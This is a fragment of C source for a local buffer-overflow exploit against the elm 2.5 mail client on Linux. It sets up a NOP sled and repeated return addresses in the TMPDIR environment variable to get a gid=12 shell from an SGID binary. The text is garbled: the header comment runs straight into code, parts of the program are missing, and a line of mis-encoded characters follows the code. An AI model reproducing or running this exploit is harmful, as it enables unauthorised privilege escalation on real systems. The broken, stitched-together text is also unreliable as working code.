/* (linux)elm[2.5] buffer overflow, by v9[v9@fakehalo.org]. this will give you a gid=12 shell if /usr/bin/elm is SGID(=2755). elm rejects most user defined vars after 2541){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(esp()-offset); printf("return address: 0x%lx, offset: %d.\n\nwhen ELM loads press \"m\" to send mail, then enter\ngarbage values until you get to the message editor(vi).\nyou also might want to run \"reset\".\n",ret,offset); sleep(5); for(i=3;i<254;i+=4){*(long *)&bof[i]=ret;} for(i=0;i<(200-strlen(exec));i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); setenv("TMPDIR",bof,1); execlp("/usr/bin/elm","elm",0); }

��ֻ�о�Ʒ��Ƶ